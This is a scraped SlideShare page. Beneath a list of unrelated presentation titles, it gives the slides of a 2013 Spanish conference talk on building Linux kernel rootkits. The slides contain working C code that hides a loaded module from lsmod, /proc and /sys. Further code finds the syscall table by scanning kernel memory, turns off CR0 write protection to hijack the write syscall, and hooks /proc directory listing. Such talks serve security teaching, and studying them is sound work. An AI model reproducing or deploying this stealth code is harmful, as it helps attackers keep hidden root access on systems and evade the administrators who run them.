Innovaciones tecnologicas en el siglo 21
Innovaciones tecnologicas en el siglo 21Innovaciones tecnologicas en el siglo 21
Innovaciones tecnologicas en el siglo 21mariacbr99
 
pruebas unitarias unitarias en java con JUNIT
pruebas unitarias unitarias en java con JUNITpruebas unitarias unitarias en java con JUNIT
pruebas unitarias unitarias en java con JUNITMaricarmen Sánchez Ruiz
 
Avances tecnológicos del siglo XXI 10-07 eyvana
Avances tecnológicos del siglo XXI 10-07 eyvanaAvances tecnológicos del siglo XXI 10-07 eyvana
Avances tecnológicos del siglo XXI 10-07 eyvanamcerpam
 
Avances tecnológicos del siglo XXI y ejemplos de estos
Avances tecnológicos del siglo XXI y ejemplos de estosAvances tecnológicos del siglo XXI y ejemplos de estos
Avances tecnológicos del siglo XXI y ejemplos de estossgonzalezp1
 
How to use Redis with MuleSoft. A quick start presentation.
How to use Redis with MuleSoft. A quick start presentation.How to use Redis with MuleSoft. A quick start presentation.
How to use Redis with MuleSoft. A quick start presentation.FlorenciaCattelani
 
EPA-pdf resultado da prova presencial Uninove
EPA-pdf resultado da prova presencial UninoveEPA-pdf resultado da prova presencial Uninove
EPA-pdf resultado da prova presencial UninoveFagnerLisboa3
 

Último (11)

Refrigerador_Inverter_Samsung_Curso_y_Manual_de_Servicio_Español.pdf
Refrigerador_Inverter_Samsung_Curso_y_Manual_de_Servicio_Español.pdfRefrigerador_Inverter_Samsung_Curso_y_Manual_de_Servicio_Español.pdf
Refrigerador_Inverter_Samsung_Curso_y_Manual_de_Servicio_Español.pdf
 
PROYECTO FINAL. Tutorial para publicar en SlideShare.pptx
PROYECTO FINAL. Tutorial para publicar en SlideShare.pptxPROYECTO FINAL. Tutorial para publicar en SlideShare.pptx
PROYECTO FINAL. Tutorial para publicar en SlideShare.pptx
 
Modulo-Mini Cargador.................pdf
Modulo-Mini Cargador.................pdfModulo-Mini Cargador.................pdf
Modulo-Mini Cargador.................pdf
 
Resistencia extrema al cobre por un consorcio bacteriano conformado por Sulfo...
Resistencia extrema al cobre por un consorcio bacteriano conformado por Sulfo...Resistencia extrema al cobre por un consorcio bacteriano conformado por Sulfo...
Resistencia extrema al cobre por un consorcio bacteriano conformado por Sulfo...
 
EL CICLO PRÁCTICO DE UN MOTOR DE CUATRO TIEMPOS.pptx
EL CICLO PRÁCTICO DE UN MOTOR DE CUATRO TIEMPOS.pptxEL CICLO PRÁCTICO DE UN MOTOR DE CUATRO TIEMPOS.pptx
EL CICLO PRÁCTICO DE UN MOTOR DE CUATRO TIEMPOS.pptx
 
Innovaciones tecnologicas en el siglo 21
Innovaciones tecnologicas en el siglo 21Innovaciones tecnologicas en el siglo 21
Innovaciones tecnologicas en el siglo 21
 
pruebas unitarias unitarias en java con JUNIT
pruebas unitarias unitarias en java con JUNITpruebas unitarias unitarias en java con JUNIT
pruebas unitarias unitarias en java con JUNIT
 
Avances tecnológicos del siglo XXI 10-07 eyvana
Avances tecnológicos del siglo XXI 10-07 eyvanaAvances tecnológicos del siglo XXI 10-07 eyvana
Avances tecnológicos del siglo XXI 10-07 eyvana
 
Avances tecnológicos del siglo XXI y ejemplos de estos
Avances tecnológicos del siglo XXI y ejemplos de estosAvances tecnológicos del siglo XXI y ejemplos de estos
Avances tecnológicos del siglo XXI y ejemplos de estos
 
How to use Redis with MuleSoft. A quick start presentation.
How to use Redis with MuleSoft. A quick start presentation.How to use Redis with MuleSoft. A quick start presentation.
How to use Redis with MuleSoft. A quick start presentation.
 
EPA-pdf resultado da prova presencial Uninove
EPA-pdf resultado da prova presencial UninoveEPA-pdf resultado da prova presencial Uninove
EPA-pdf resultado da prova presencial Uninove
 

Desarrollo de rootkits en Linux [GuadalajaraCON 2013]

  • 1. Building Basics Rootkits Building Basics Rootkits Attack Strategies NataS::: The Lord of Chaos Marcos Ricardo Schejtman Rubio 18 de Abril de 2013
  • 2. Building Basics Rootkits Contents 1 Introducci´on ¿Qu´e es un Rootkit? Tipos de Rootkits Funciones Comunes de Rootkits 2 Manos a la Obra Consideraciones Primeros Pasos Ejercicio: Hello World Module Manejando Parametros 3 T´opicos Avanzados Trabajando con la Estructura de Tareas Escondiendo nuestros pasos
  • 3. Building Basics Rootkits Introducci´on ¿Qu´e es un Rootkit? ¿Qu´e es un Rootkit? Un rootkit (seg´un Wikipedia), se puede definir como: Un programa que permite un acceso de privilegio continuo a una computadora pero que mantiene su presencia activamente oculta al control de los administradores al corromper el funcionamiento normal del sistema operativo o de otras aplicaciones.
  • 4. Building Basics Rootkits Introducci´on Tipos de Rootkits Tipos de Rootkits Practicamente podemos hablar de dos tipos de rootkits: 1 Rootkits en Espacio de Usuario, Los cuales corren en Ring-3, y modifican librer´ıas, o archivos de configuraci´on, e inclusive ejecutables (ls, ps, etc). 2 Rootkits en Espacio de Kernel, Los cuales corren en Ring-0, y modifican estructuras del kernel, atrapan llamadas de sistema (hijacking syscall-table), etc. Podemos tenerlos como LKM’s o como patch al kernel corriendo /dev/kmem
  • 5. Building Basics Rootkits Introducci´on Funciones Comunes de Rootkits Funciones Comunes de Rootkits Esconder Procesos Esconder Archivos Esconder Conexiones de Red Backdoors Keyloggers Darnos acceso a root
  • 6. Building Basics Rootkits Manos a la Obra Consideraciones Consideraciones Las diferencias m´as importantes entre un desarrollo a n´ıvel kernel o espacio usuario son: El kernel carece de protecci´on de memoria... algo que se ofrece en el espacio de usuario. El kernel no puede ejecutar de manera sencilla operaciones en punto flotante. El kernel tiene un espacio en pila muy reducido por proceso. Debido a la naturaleza as´ıncrona de las interrupciones del kernel, la concurrencia es de los temas a poner mas ´enfasis al desarrollar (Race-Conditions). La portabilidad... entre versi´on y versi´on de n´ucleo.
  • 7. Building Basics Rootkits Manos a la Obra Primeros Pasos Primeros Pasos Algunas Macros importantes: module init(); module exit(); MODULE LICENSE(”GPL”); MODULE AUTHOR(”NataS”); MODULE DESCRIPTION(”My LKM”);
  • 8. Building Basics Rootkits Manos a la Obra Ejercicio: Hello World Module Hello World #include <linux/init.h> #include <linux/module.h> #include <linux/kernel.h> static int hello_init(void) { printk(KERN_ALERT "Hello GuadalajaraCon! My first LKM.n"); return 0; } static void hello_exit(void) { printk(KERN_ALERT "Goodbye GuadalajaraCon!n"); } module_init(hello_init); module_exit(hello_exit); MODULE_LICENSE("GPL"); MODULE_AUTHOR("NataS"); MODULE_DESCRIPTION("My First LKM");
  • 9. Building Basics Rootkits Manos a la Obra Ejercicio: Hello World Module Hello World Nuestro Makefile: obj-m := modulo.o Y Compilamos como: make -C /lib/modules/$(uname -r)/build SUBDIRS=$PWD modules Cargamos nuestro m´odulo insmod modulo.ko Listamos nuestro m´odulo lsmod | grep modulo Eliminamos nuestro m´odulo rmmod modulo.ko
  • 10. Building Basics Rootkits Manos a la Obra Manejando Parametros Manejando Parametros Los par´ametros se mandan cuando arrancamos el m´odulo de la forma: insmod modulo param1=valor1 param2=valor2 Para definir los par´ametros, primero declaramos variables y las pasamos a la macro: module_param(nombre, tipo, permisos) module_param_string(nombre,variable, longitud, permisos); Permisos son los definidos en sysfs, y afectan las entradas del modulo en /sys/module
  • 11. Building Basics Rootkits Manos a la Obra Manejando Parametros Ejercicio: Name and Age static char myName[50]; module_param_string(name, myName, 50, 0); static int age = 1; module_param(age, int, 0); ... printk(KERN_ALERT "Hi! %s, your age: %i", myName, age);
  • 12. Building Basics Rootkits T´opicos Avanzados Trabajando con la Estructura de Tareas Trabajando con la Estructura de Tareas El kernel de linux contiene una lista enlazada (definida en include/linux/types.h e include/linux/list.h) de tareas, las cuales son una estructura declarada en include/linux/sched.h.
  • 13. Building Basics Rootkits T´opicos Avanzados Trabajando con la Estructura de Tareas Trabajando con la Estructura de Tareas Desde el kernel tenemos acceso directo a la lista de tareas (task struct), la cual es una lista doblemente enlazada ¿A´un recuerdan sus clases de programaci´on? Para acceder a la estructura que contiene informaci´on sobre nuestro proceso, basta con hacer uso del puntero current #include <linux/sched.h> #include <asm/current.h> static int hello_init(void) { printk(KERN_ALERT "My Name --> %s and PID --> %i n", current->comm, current->pid); return 0; }
  • 14. Building Basics Rootkits T´opicos Avanzados Trabajando con la Estructura de Tareas Ejercicio: Get my PID and all others Usando los c´odigos anteriores... Recorran la lista de tareas y pinten cada proceso y su PID. Con este acceso pueden intentar esconder un proceso tambi´en:
  • 15. Building Basics Rootkits T´opicos Avanzados Escondiendo nuestros pasos Hidding Ver.1 El kernel maneja un lista enlazada en la cual, mantiene la referencia de todos los m´odulos que est´an cargados (lsmod y /proc leen dicha lista). Esconder nuestro m´odulo es muy sencillo, en la funci´on de inicio del m´odulo basta con eliminar la referencia de la lista: list_del(&THIS_MODULE->list); Dos problemas con esta primer aproximaci´on: 1 A´un somos detectables desde /sys 2 Al hacer un unload del m´odulo, debido a que no existe en la lista, se provoca un Oops que genera un kernel panic o crash del sistema, dejando rastros.
  • 16. Building Basics Rootkits T´opicos Avanzados Escondiendo nuestros pasos Ejercicio: Hide myself Nos escodemos: static int hide_init(void) { printk(KERN_ALERT "Hello World! My first LKM.n"); printk(KERN_ALERT "Let’s get hide myself.n"); list_del(&THIS_MODULE->list); return 0; } Nos buscamos lsmod | grep modulo cat /proc/modules | grep modulo Nos Encontramos ls /sys/module/modulo
  • 17. Building Basics Rootkits T´opicos Avanzados Escondiendo nuestros pasos Hidding. Ve2 Cada entrada en /sys es un objeto module kobject (definido en module.h) que internamente tienen una estructura del tipo kobject (definido en kobject.h). Examinando el c´odigo del kernel, vemos que en la descarga del m´odulo, primero debemos eliminarnos de /sys y posteriormente de la vista. Hay que tomar en cuenta, que el kernel no libera objetos que est´en iniciados a NULL Recomendaciones: 1 Recordar informaci´on previa (prev y next en la lista). 2 Sobreescribir readproc y writeproc 3 Funciones est´aticas para no dejar rastros en /proc/kallsyms
  • 18. Building Basics Rootkits T´opicos Avanzados Escondiendo nuestros pasos Ejercicio: Find Me if You can static inline void hideme(void) { list_del(&THIS_MODULE->list); kobject_del(&THIS_MODULE->mkobj.kobj); list_del(&THIS_MODULE->mkobj.kobj.entry); kfree(THIS_MODULE->notes_attrs); THIS_MODULE->notes_attrs = NULL; kfree(THIS_MODULE->sect_attrs); THIS_MODULE->sect_attrs = NULL; kfree(THIS_MODULE->mkobj.mp); THIS_MODULE->mkobj.mp = NULL; THIS_MODULE->modinfo_attrs->attr.name = NULL; kfree(THIS_MODULE->mkobj.drivers_dir); THIS_MODULE->mkobj.drivers_dir = NULL; } Ahora... busquemos el m´odulo
  • 19. Building Basics Rootkits T´opicos Avanzados Escondiendo nuestros pasos Dinamyc Hijacking La direcci´on de la sys call table, puede ser encontrada en el archivo System.map-$(uname -r) ¿Que ocurre cuando ya no existe ese archivo? El rango de memoria del kernel en arquitecturas X86 es del 0xc0000000 al 0xffffffff. Ahora bien, para encontrar la sys call table basta con buscar hasta la 0xd0000000 ¿porque? CONFIG HIGHMEM. Para x86 64 podemos encontrar el inicio de la memoria del kernel en 0xffffffff81000000 y de ahi podemos iterar hasta 0xffffffffffffffff, es de destacar que igual que en la arquitectura de 32Bits, no debemos iterar todas las direcciones, basta iterar hasta 0xffffffff81ffffff. Finalmente... solo basta comparar alguna sys call cuyos s´ımbolos se exporten, sys close por ejemplo.
  • 20. Building Basics Rootkits T´opicos Avanzados Escondiendo nuestros pasos Dinamyc Hijacking #if defined __x86_64__ #define START_MEM 0xffffffff81000000 #define END_MEM 0xffffffff81ffffff #else #define START_MEM 0xc0000000 #define END_MEM 0xd0000000 #endif unsigned long **find_syscalltable() { unsigned long **syscalltable; unsigned long int i = START_MEM; while ( i < END_MEM) { sctable = (unsigned long **)i; if ( syscalltable[__NR_close] == (unsigned long *)sys_close) { return &syscalltable[0]; } i += sizeof(void *); } return NULL; }
  • 21. Building Basics Rootkits T´opicos Avanzados Escondiendo nuestros pasos Dinamyc Hijacking Pero la sys call table esta protegida contra escritura ¿o no? Existen diferentes registros de procesador, el que nos interesa es el cr0. El kernel nos da dos funciones para manipular este registro: write cr0 y read cr0. El Bit 0 de este registro maneja el Protected Mode, por ello se llama WP bit. Solo basta modificar este bit antes y despu´es del hijacking write_cr0 (read_cr0 () & (~ 0x10000)); printk(KERN_ALERT "nWrite Protection Disabled XD"); original_write = (void *)syscall_table[__NR_write]; syscall_table[__NR_write] = new_write; write_cr0 (read_cr0 () | 0x10000); printk(KERN_ALERT "nWrite Protection Enabled"); /* 0X10000 --> 000...010000000000000000 ~(0X10000) --> 111...101111111111111111 */
  • 22. Building Basics Rootkits T´opicos Avanzados Escondiendo nuestros pasos Hijacking Syscall Interrupciones a llamadas de sistema se usan para evitar accesos a procesos o archivos generados por nosotros. syscall natas_open(pathname, flags, mode) { if (XXX==XXX) call open(pathname, flags, mode) else printf("Not found"); }
  • 23. Building Basics Rootkits T´opicos Avanzados Escondiendo nuestros pasos Hijacking VFS Interrupciones a llamadas de sistema se usan para evitar accesos a procesos o archivos generados por nosotros. syscall natas_lookup(parent_directory, pathname, ...) { if (XXX==XXX) call real_lookup(parent_directory, pathname, ...) else printf("Error"); }
  • 24. Building Basics Rootkits T´opicos Avanzados Escondiendo nuestros pasos Hijacking VFS struct inode *pinode; const struct file_operations *proc_original; static struct file_operations proc_fops; void hook_proc(struct proc_dir_entry *root) { struct path proc_path; if (kern_path("/proc/",0,&proc_path)) return; pinode = proc_path.dentry->d_inode; if(!pinode) return; proc_fops = *pinode->i_fop; proc_original = pinode->i_fop; proc_fops.readdir = natas_lookup; pinode->i_fop = &proc_fops; }
  • 25. Building Basics Rootkits Referencias Referencias Designing BSD Rootkits, Joseph Kong Linux Kernel Development, Robert Love Writing Kernel Exploits Paper, Keegan MacAllister Linux Kernel Crash Book, Igor Ljubuncic The Rootkits Arsenal, Reverend Bill Blunden
  • 26. Building Basics Rootkits The End Thanks —————————————————————————– Autor: Marcos Ricardo Schejtman Rubio E-Mail: natashell@esdebian.org E-Mail: natas@ohkasystems.com Twitter: @natashell666 5EBD 2AEB 5618 4F0C D62C 89D8 C59B 834A 4E19 1537 LATEX para todos